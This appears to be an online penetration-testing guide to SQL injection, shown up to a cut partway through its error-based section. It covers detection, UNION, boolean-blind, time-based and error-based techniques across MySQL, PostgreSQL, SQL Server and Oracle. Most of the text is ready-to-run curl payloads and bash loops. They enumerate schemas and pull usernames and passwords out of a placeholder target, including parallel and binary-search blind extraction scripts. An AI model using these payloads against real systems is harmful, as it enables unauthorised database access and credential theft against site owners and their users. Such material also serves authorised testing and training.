This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

SQL injection (all variants)

Understanding SQL Injection

What is SQL Injection?

SQL injection exploits the way web applications construct SQL queries by inserting malicious SQL code through user input fields. When applications fail to properly validate, sanitize, or parameterize user input, attackers can manipulate the intended SQL query structure to execute arbitrary database commands.

How SQL Injection Works

Vulnerable Code Example:

$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = mysqli_query($connection, $query);

Normal Request:

GET /page.php?id=1
SQL Query: SELECT * FROM users WHERE id = 1

Malicious Request:

GET /page.php?id=1 OR 1=1
SQL Query: SELECT * FROM users WHERE id = 1 OR 1=1

Common Vulnerable Input Points

GET Parameters:

  • URL query string parameters

  • Path parameters in RESTful APIs

  • Fragment identifiers

POST Parameters:

  • Form input fields

  • Hidden form fields

  • File upload parameters

HTTP Headers:

  • User-Agent strings

  • X-Forwarded-For headers

  • Custom application headers

Cookies:

  • Session identifiers

  • User preference cookies

  • Authentication tokens

JSON and XML Data:

  • API request bodies

  • Configuration parameters

  • Data interchange formats


SQL Injection Detection Methodology

Purpose

Detection involves systematically identifying input points where user-supplied data influences SQL queries and determining if proper input validation and parameterization are implemented.

Manual Detection Techniques

Basic Syntax Testing

Single Quote Testing:

# Basic single quote injection
curl "https://<target>/page.php?id=1'"
curl "https://<target>/page.php?id=1''"
curl "https://<target>/page.php?id=1'''"

# POST parameter testing
curl -X POST -d "username=admin'&password=test" https://<target>/login.php
curl -X POST -d "search=test'&category=all" https://<target>/search.php

Double Quote Testing:

# Double quote variations
curl "https://<target>/page.php?id=1\""
curl "https://<target>/page.php?id=1\"\""
curl "https://<target>/page.php?id=1\\\"

# JSON parameter testing
curl -X POST -H "Content-Type: application/json" \
     -d '{"id": "1\"", "action": "view"}' \
     https://<target>/api/user

Backslash and Escape Character Testing:

# Backslash testing
curl "https://<target>/page.php?id=1\\"
curl "https://<target>/page.php?id=1\\\\"

# Escape sequence testing
curl "https://<target>/page.php?id=1%5c"  # URL encoded backslash
curl "https://<target>/page.php?id=1%27"  # URL encoded single quote

SQL Comment Testing

Comment Injection Tests:

# MySQL comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1-- comment"
curl "https://<target>/page.php?id=1#"
curl "https://<target>/page.php?id=1/*comment*/"

# SQL Server comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1/*comment*/"

# PostgreSQL comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1/*comment*/"

Boolean Logic Testing

True/False Condition Testing:

# Always true conditions
curl "https://<target>/page.php?id=1 AND 1=1"
curl "https://<target>/page.php?id=1 OR 1=1"
curl "https://<target>/page.php?id=1 AND 'a'='a'"

# Always false conditions
curl "https://<target>/page.php?id=1 AND 1=2"
curl "https://<target>/page.php?id=1 AND 'a'='b'"
curl "https://<target>/page.php?id=1 AND 1=0"

# Arithmetic operations
curl "https://<target>/page.php?id=1-0"
curl "https://<target>/page.php?id=1*1"
curl "https://<target>/page.php?id=1/1"
curl "https://<target>/page.php?id=1+0"

Error-Based Detection

Database Error Pattern Recognition

MySQL Error Signatures:

# Trigger MySQL errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(mysql_fetch_array|mysql syntax|mysql_query|mysql_connect|mysql_num_rows)"

# MySQL version-specific errors
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--" | grep -i "xpath syntax error"

# MySQL function errors
curl "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM information_schema.tables)>1000000000--"

PostgreSQL Error Signatures:

# Trigger PostgreSQL errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(postgresql|pg_query|pg_exec|pg_connect|syntax error at or near)"

# PostgreSQL casting errors
curl "https://<target>/page.php?id=1' AND CAST((SELECT version()) AS int)--"

# PostgreSQL function errors
curl "https://<target>/page.php?id=1' AND ASCII(CHR(65))>1000000--"

SQL Server Error Signatures:

# Trigger SQL Server errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(microsoft ole db|odbc sql server|sql server|unclosed quotation mark)"

# SQL Server conversion errors
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@version)--"

# SQL Server function errors
curl "https://<target>/page.php?id=1' AND LEN((SELECT TOP 1 name FROM sysobjects))>1000000--"

Oracle Error Signatures:

# Trigger Oracle errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(ORA-[0-9]+|oracle error|quoted string not properly terminated)"

# Oracle specific errors
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))=1--"

# Oracle conversion errors
curl "https://<target>/page.php?id=1' AND TO_NUMBER((SELECT banner FROM v\$version WHERE rownum=1))=1--"

Response Analysis Techniques

Response Timing Analysis

Baseline Response Time Measurement:

# Measure normal response times
for i in {1..10}; do
    time curl -s "https://<target>/page.php?id=1" > /dev/null
done

# Measure response time patterns
time curl -s "https://<target>/page.php?id=1 AND 1=1" > /dev/null
time curl -s "https://<target>/page.php?id=1 AND 1=2" > /dev/null

Content Length Analysis

Response Size Comparison:

# Compare response sizes
curl -s "https://<target>/page.php?id=1 AND 1=1" | wc -c
curl -s "https://<target>/page.php?id=1 AND 1=2" | wc -c

# Automated size comparison
true_size=$(curl -s "https://<target>/page.php?id=1 AND 1=1" | wc -c)
false_size=$(curl -s "https://<target>/page.php?id=1 AND 1=2" | wc -c)
echo "True condition size: $true_size"
echo "False condition size: $false_size"

HTTP Status Code Analysis

Status Code Pattern Detection:

# Check status codes for different conditions
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=1"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=2"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1'"

Union-Based SQL Injection

Purpose

Union-based injection leverages the UNION SQL operator to combine results from multiple SELECT statements, allowing attackers to extract data from any accessible database table. This technique is highly effective when the application displays query results directly to the user.

Prerequisites for Union Injection

Requirements:

  1. Application must display query results

  2. Injected query must have same number of columns

  3. Data types must be compatible

  4. UNION operator must be supported by database

Column Number Determination

ORDER BY Method

Systematic Column Discovery:

# Start with ORDER BY 1 and increment
curl "https://<target>/page.php?id=1' ORDER BY 1--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 2--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 3--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 4--"  # Continue until error

# Automated column detection script
for i in {1..20}; do
    response=$(curl -s "https://<target>/page.php?id=1' ORDER BY $i--")
    if echo "$response" | grep -i -q "error\|unknown column\|invalid"; then
        echo "Maximum columns: $((i-1))"
        break
    fi
    echo "Column $i exists"
done

Binary Search Optimization:

# Start with midpoint to reduce requests
curl "https://<target>/page.php?id=1' ORDER BY 10--"
# If error, try 5; if success, try 15
curl "https://<target>/page.php?id=1' ORDER BY 5--"
# Continue binary search pattern

UNION SELECT Method

NULL Value Testing:

# Start with single column
curl "https://<target>/page.php?id=-1' UNION SELECT NULL--"

# Add columns until no error
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL,NULL--"

# Use non-existent ID to avoid original results
curl "https://<target>/page.php?id=999999' UNION SELECT NULL,NULL,NULL,NULL--"

Data Type Identification

String Column Detection

String Data Type Testing:

# Test each column position for string compatibility
curl "https://<target>/page.php?id=-1' UNION SELECT 'a',NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,'a',NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,'a',NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,'a'--"

# Test with longer strings
curl "https://<target>/page.php?id=-1' UNION SELECT 'test',NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,'test',NULL,NULL--"

# Test with special characters
curl "https://<target>/page.php?id=-1' UNION SELECT '@#$%',NULL,NULL,NULL--"

Numeric Column Detection

Integer Data Type Testing:

# Test numeric columns
curl "https://<target>/page.php?id=-1' UNION SELECT 1,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,1,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,1,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,1--"

# Test with larger numbers
curl "https://<target>/page.php?id=-1' UNION SELECT 999999,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,999999,NULL,NULL--"

Mixed Data Type Testing

Compatible Type Combinations:

# Test mixed compatible types
curl "https://<target>/page.php?id=-1' UNION SELECT 1,'string',NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT 'string',1,NULL,NULL--"

# Test all string (most compatible)
curl "https://<target>/page.php?id=-1' UNION SELECT '1','2','3','4'--"

Database Information Extraction

MySQL Information Schema Exploitation

Database Enumeration:

# Current database version
curl "https://<target>/page.php?id=-1' UNION SELECT VERSION(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT @@VERSION,NULL,NULL,NULL--"

# Current database name
curl "https://<target>/page.php?id=-1' UNION SELECT DATABASE(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT SCHEMA(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT USER(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT CURRENT_USER(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT SYSTEM_USER(),NULL,NULL,NULL--"

# Database listing
curl "https://<target>/page.php?id=-1' UNION SELECT schema_name,NULL,NULL,NULL FROM information_schema.schemata--"

# Count databases
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.schemata--"

Table Enumeration:

# Tables in current database
curl "https://<target>/page.php?id=-1' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"

# Tables in all databases
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(table_schema,'.',table_name),NULL,NULL,NULL FROM information_schema.tables--"

# Count tables
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"

# Table types
curl "https://<target>/page.php?id=-1' UNION SELECT table_name,table_type,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"

Column Enumeration:

# Columns in specific table
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# Column details
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# Column count in table
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# All columns with table names
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(table_name,'.',column_name),data_type,NULL,NULL FROM information_schema.columns WHERE table_schema=DATABASE()--"

PostgreSQL Information Extraction

System Information:

# PostgreSQL version
curl "https://<target>/page.php?id=-1' UNION SELECT version(),NULL,NULL,NULL--"

# Current database
curl "https://<target>/page.php?id=-1' UNION SELECT current_database(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT current_user,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT user,NULL,NULL,NULL--"

# Current schema
curl "https://<target>/page.php?id=-1' UNION SELECT current_schema(),NULL,NULL,NULL--"

Database Schema Enumeration:

# List databases
curl "https://<target>/page.php?id=-1' UNION SELECT datname,NULL,NULL,NULL FROM pg_database--"

# List tables
curl "https://<target>/page.php?id=-1' UNION SELECT tablename,NULL,NULL,NULL FROM pg_tables WHERE schemaname='public'--"

# List columns
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# List functions
curl "https://<target>/page.php?id=-1' UNION SELECT routine_name,NULL,NULL,NULL FROM information_schema.routines--"

SQL Server Information Extraction

System Information:

# SQL Server version
curl "https://<target>/page.php?id=-1' UNION SELECT @@VERSION,NULL,NULL,NULL--"

# Current database
curl "https://<target>/page.php?id=-1' UNION SELECT DB_NAME(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT SYSTEM_USER,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT USER_NAME(),NULL,NULL,NULL--"

# Server name
curl "https://<target>/page.php?id=-1' UNION SELECT @@SERVERNAME,NULL,NULL,NULL--"

Database Schema Information:

# List databases
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.databases--"

# List tables
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.tables--"

# List columns
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# System tables
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.objects WHERE type='U'--"

Data Extraction Techniques

User Data Extraction

Basic Data Extraction:

# Extract usernames and passwords
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users--"

# Extract with row identification
curl "https://<target>/page.php?id=-1' UNION SELECT id,username,password,email FROM users--"

# Extract specific user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE username='admin'--"

Data Concatenation:

# MySQL concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(username,':',password),NULL,NULL,NULL FROM users--"
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(username,'|',password,'|',email),NULL,NULL,NULL FROM users--"

# PostgreSQL concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT username||':'||password,NULL,NULL,NULL FROM users--"

# SQL Server concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT username+':'+password,NULL,NULL,NULL FROM users--"

Row-by-Row Extraction

LIMIT-Based Extraction (MySQL/PostgreSQL):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 0,1--"

# Second user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 1,1--"

# Third user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 2,1--"

# Automated extraction
for i in {0..10}; do
    echo "Extracting user $((i+1)):"
    curl -s "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT $i,1--"
done

TOP-Based Extraction (SQL Server):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT TOP 1 username,password,NULL,NULL FROM users--"

# Subsequent users with exclusion
curl "https://<target>/page.php?id=-1' UNION SELECT TOP 1 username,password,NULL,NULL FROM users WHERE username NOT IN ('first_user')--"

ROWNUM-Based Extraction (Oracle):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE ROWNUM=1--"

# Specific row ranges
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM (SELECT username,password,ROWNUM as rn FROM users) WHERE rn=2--"

Advanced Data Extraction

Conditional Data Extraction:

# Extract admin users only
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE role='admin'--"

# Extract recent users
curl "https://<target>/page.php?id=-1' UNION SELECT username,created_date,NULL,NULL FROM users WHERE created_date > '2023-01-01'--"

# Extract users with specific privileges
curl "https://<target>/page.php?id=-1' UNION SELECT username,privileges,NULL,NULL FROM users WHERE privileges LIKE '%admin%'--"

Nested Query Extraction:

# Count-based extraction
curl "https://<target>/page.php?id=-1' UNION SELECT (SELECT COUNT(*) FROM users),NULL,NULL,NULL--"

# Subquery data extraction
curl "https://<target>/page.php?id=-1' UNION SELECT (SELECT username FROM users WHERE id=1),NULL,NULL,NULL--"

# Maximum/minimum values
curl "https://<target>/page.php?id=-1' UNION SELECT MAX(id),MIN(id),NULL,NULL FROM users--"

Boolean-Based Blind SQL Injection

Purpose

Boolean-based blind injection exploits applications that don't return database errors or query results but show different responses (page content, HTTP status codes, or response times) for true and false conditions. This technique relies on inferring information through the application's behavior rather than direct data output.

Detection and Baseline Establishment

Establishing Response Patterns

Baseline Response Analysis:

# Normal request baseline
curl -s "https://<target>/page.php?id=1" -o baseline_normal.html

# True condition response
curl -s "https://<target>/page.php?id=1 AND 1=1" -o baseline_true.html

# False condition response
curl -s "https://<target>/page.php?id=1 AND 1=2" -o baseline_false.html

# Compare responses
diff baseline_normal.html baseline_true.html
diff baseline_true.html baseline_false.html

# Check response sizes
wc -c baseline_*.html

Response Pattern Identification:

# HTTP status code patterns
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=1"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=2"

# Response time patterns
time curl -s "https://<target>/page.php?id=1 AND 1=1" > /dev/null
time curl -s "https://<target>/page.php?id=1 AND 1=2" > /dev/null

# Content-based patterns
curl -s "https://<target>/page.php?id=1 AND 1=1" | grep -c "welcome\|success\|found"
curl -s "https://<target>/page.php?id=1 AND 1=2" | grep -c "welcome\|success\|found"

Database Information Extraction

Database Version Discovery

MySQL Version Extraction:

# Check if MySQL
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,1,1))='5'--" | grep -q "pattern_for_true" && echo "MySQL 5.x"
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,1,1))='8'--" | grep -q "pattern_for_true" && echo "MySQL 8.x"

# Extract version character by character
for i in {1..20}; do
    for char in {0..9} {A..Z} {a..z} '.' '-' '_'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            echo -n "$char"
            break
        fi
    done
done
echo ""

PostgreSQL Version Extraction:

# Check PostgreSQL version
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(version(),1,10))='PostgreSQL'--"

# Extract major version
for version in {9..15}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(version(),12,2))='$version'--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "PostgreSQL $version.x detected"
        break
    fi
done

Database Name Extraction

Character-by-Character Database Name:

# Determine database name length
for length in {1..50}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND LENGTH(DATABASE())=$length--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "Database name length: $length"
        db_length=$length
        break
    fi
done

# Extract database name character by character
db_name=""
for i in $(seq 1 $db_length); do
    for char in {A..Z} {a..z} {0..9} '_' '-'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(DATABASE(),$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            db_name="${db_name}${char}"
            echo -n "$char"
            break
        fi
    done
done
echo ""
echo "Database name: $db_name"

Table Discovery

Table Count Determination:

# Determine number of tables
for count in {1..100}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=$count--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "Number of tables: $count"
        break
    fi
done

Table Name Extraction:

# Extract first table name
for i in {1..50}; do
    for char in {A..Z} {a..z} {0..9} '_' '-'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            echo -n "$char"
            break
        fi
    done
done
echo ""

Advanced Boolean Techniques

Binary Search Optimization

ASCII Binary Search:

# Binary search for character values (much faster)
extract_char_binary() {
    local position=$1
    local query=$2
    local min=32
    local max=126
    
    while [ $min -le $max ]; do
        local mid=$(( (min + max) / 2 ))
        response=$(curl -s "https://<target>/page.php?id=1' AND ASCII(SUBSTRING(($query),$position,1))>$mid--")
        
        if echo "$response" | grep -q "pattern_for_true"; then
            min=$((mid + 1))
        else
            max=$((mid - 1))
        fi
    done
    
    echo -n "$(printf \\$(printf '%03o' $max))"
}

# Extract database name using binary search
db_name=""
for i in {1..20}; do
    char=$(extract_char_binary $i "SELECT DATABASE()")
    if [ -z "$char" ]; then
        break
    fi
    db_name="${db_name}${char}"
done
echo "Database: $db_name"

Multi-Threading Extraction

Parallel Character Extraction:

# Extract multiple positions simultaneously
extract_position() {
    local position=$1
    local query=$2
    
    for char in {A..Z} {a..z} {0..9} '_' '-' '.'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(($query),$position,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            echo "$position:$char"
            return
        fi
    done
    echo "$position:NULL"
}

# Extract database name with parallel processing
query="SELECT DATABASE()"
for i in {1..20}; do
    extract_position $i "$query" &
done
wait

Conditional Logic Exploitation

IF/CASE Statement Injection

MySQL IF Statement:

# Conditional extraction using IF
curl -s "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>10, 1, 0)=1--"

# Extract data with IF conditions
curl -s "https://<target>/page.php?id=1' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a', 1, 0)=1--"

PostgreSQL CASE Statement:

# Conditional extraction using CASE
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>10 THEN 1 ELSE 0 END)=1--"

# Extract data with CASE conditions
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN 1 ELSE 0 END FROM users LIMIT 1)=1--"

SQL Server CASE Statement:

# SQL Server conditional logic
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>10 THEN 1 ELSE 0 END)=1--"

# Character extraction with CASE
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN 1 ELSE 0 END FROM users WHERE id=1)=1--"

Time-Based Blind SQL Injection

Purpose

Time-based injection exploits applications by causing deliberate delays in database responses to infer information when no visible output differences exist. This technique is useful when applications show identical responses regardless of query results but still process the injected SQL.

Database-Specific Time Delay Functions

MySQL Time Delays

SLEEP Function:

# Basic sleep test
curl "https://<target>/page.php?id=1' AND SLEEP(5)--"

# Conditional sleep
curl "https://<target>/page.php?id=1' AND IF(1=1, SLEEP(5), 0)--"
curl "https://<target>/page.php?id=1' AND IF(1=2, SLEEP(5), 0)--"

# Nested conditional sleep
curl "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--"

# Sleep with subqueries
curl "https://<target>/page.php?id=1' AND IF((SELECT LENGTH(DATABASE()))>5, SLEEP(5), 0)--"

BENCHMARK Function:

# CPU-intensive delay using BENCHMARK
curl "https://<target>/page.php?id=1' AND BENCHMARK(5000000, MD5(1))--"

# Conditional BENCHMARK
curl "https://<target>/page.php?id=1' AND IF(1=1, BENCHMARK(5000000, MD5(1)), 0)--"

# Variable delay based on condition
curl "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>10, BENCHMARK(10000000, MD5(1)), BENCHMARK(1000000, MD5(1)))--"

PostgreSQL Time Delays

pg_sleep Function:

# Basic PostgreSQL sleep
curl "https://<target>/page.php?id=1' AND pg_sleep(5)--"

# Conditional sleep with CASE
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END)--"

# Sleep with subquery conditions
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN pg_sleep(5) ELSE 0 END)--"

generate_series Delay:

# Alternative delay method
curl "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM generate_series(1,1000000))>0--"

# Conditional generate_series delay
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN (SELECT COUNT(*) FROM generate_series(1,2000000)) ELSE 0 END)>0--"

SQL Server Time Delays

WAITFOR DELAY:

# Basic SQL Server delay
curl "https://<target>/page.php?id=1'; WAITFOR DELAY '00:00:05'--"

# Conditional delay
curl "https://<target>/page.php?id=1'; IF 1=1 WAITFOR DELAY '00:00:05'--"
curl "https://<target>/page.php?id=1'; IF 1=2 WAITFOR DELAY '00:00:05'--"

# Subquery conditional delay
curl "https://<target>/page.php?id=1'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '00:00:05'--"

Oracle Time Delays

DBMS_LOCK.SLEEP:

# Oracle sleep function
curl "https://<target>/page.php?id=1' AND (SELECT DBMS_LOCK.SLEEP(5) FROM dual)=0--"

# Conditional Oracle delay
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN DBMS_LOCK.SLEEP(5) ELSE 0 END FROM dual)=0--"

Time-Based Data Extraction

Character-by-Character Extraction

Database Name Extraction:

# Extract database name length with timing
for length in {1..20}; do
    start_time=$(date +%s)
    curl -s "https://<target>/page.php?id=1' AND IF(LENGTH(DATABASE())=$length, SLEEP(3), 0)--" > /dev/null
    end_time=$(date +%s)
    
    if [ $((end_time - start_time)) -ge 3 ]; then
        echo "Database name length: $length"
        db_length=$length
        break
    fi
done

# Extract database name character by character
db_name=""
for position in $(seq 1 $db_length); do
    for ascii_val in {65..90} {97..122} {48..57} 95; do  # A-Z, a-z, 0-9, _
        char=$(printf \\$(printf '%03o' $ascii_val))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),$position,1))=$ascii_val, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            db_name="${db_name}${char}"
            echo "Position $position: $char"
            break
        fi
    done
done
echo "Database name: $db_name"

User Data Extraction:

# Extract first username with timing
extract_username_char() {
    local position=$1
    
    for ascii_val in {65..90} {97..122} {48..57} 95; do
        char=$(printf \\$(printf '%03o' $ascii_val))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),$position,1))=$ascii_val, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            echo -n "$char"
            return 0
        fi
    done
    return 1
}

# Extract complete username
username=""
for i in {1..50}; do
    if extract_username_char $i; then
        continue
    else
        break
    fi
done
echo ""
echo "Username: $username"

Optimized Time-Based Extraction

Binary Search for ASCII Values:

extract_char_time_binary() {
    local position=$1
    local query=$2
    local min=32
    local max=126
    
    while [ $min -le $max ]; do
        local mid=$(( (min + max) / 2 ))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING(($query),$position,1))>$mid, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            min=$((mid + 1))
        else
            max=$((mid - 1))
        fi
    done
    
    printf \\$(printf '%03o' $max)
}

# Extract database name using binary search (much faster)
db_name=""
for i in {1..20}; do
    char=$(extract_char_time_binary $i "SELECT DATABASE()")
    if [ "$char" = " " ] || [ -z "$char" ]; then
        break
    fi
    db_name="${db_name}${char}"
done
echo "Database: $db_name"

Parallel Time-Based Extraction:

# Function for parallel character extraction
extract_position_time() {
    local position=$1
    local query=$2
    
    for ascii_val in {65..90} {97..122} {48..57} 95 46 45; do
        char=$(printf \\$(printf '%03o' $ascii_val))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING(($query),$position,1))=$ascii_val, SLEEP(2), 0)--" > /dev/null 2>&1
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc -l 2>/dev/null || echo "0")
        if (( $(echo "$elapsed > 1.5" | bc -l 2>/dev/null || echo "0") )); then
            echo "$position:$char"
            return
        fi
    done
    echo "$position:NULL"
}

# Extract multiple positions in parallel
query="SELECT username FROM users LIMIT 0,1"
for i in {1..20}; do
    extract_position_time $i "$query" &
done
wait | sort -t: -k1 -n

Error-Based SQL Injection

Purpose

Error-based injection exploits verbose database error messages to extract data directly from error responses. This technique leverages database functions that generate errors containing the desired data, making extraction faster than blind techniques.

MySQL Error-Based Techniques

EXTRACTVALUE Function

Basic EXTRACTVALUE Usage:

# Extract database version
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--"

# Extract database name
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e))--"

# Extract current user
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e))--"

# Extract system information
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@hostname, 0x7e))--"
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@datadir, 0x7e))--"

Advanced EXTRACTVALUE Queries:

# Extract table names
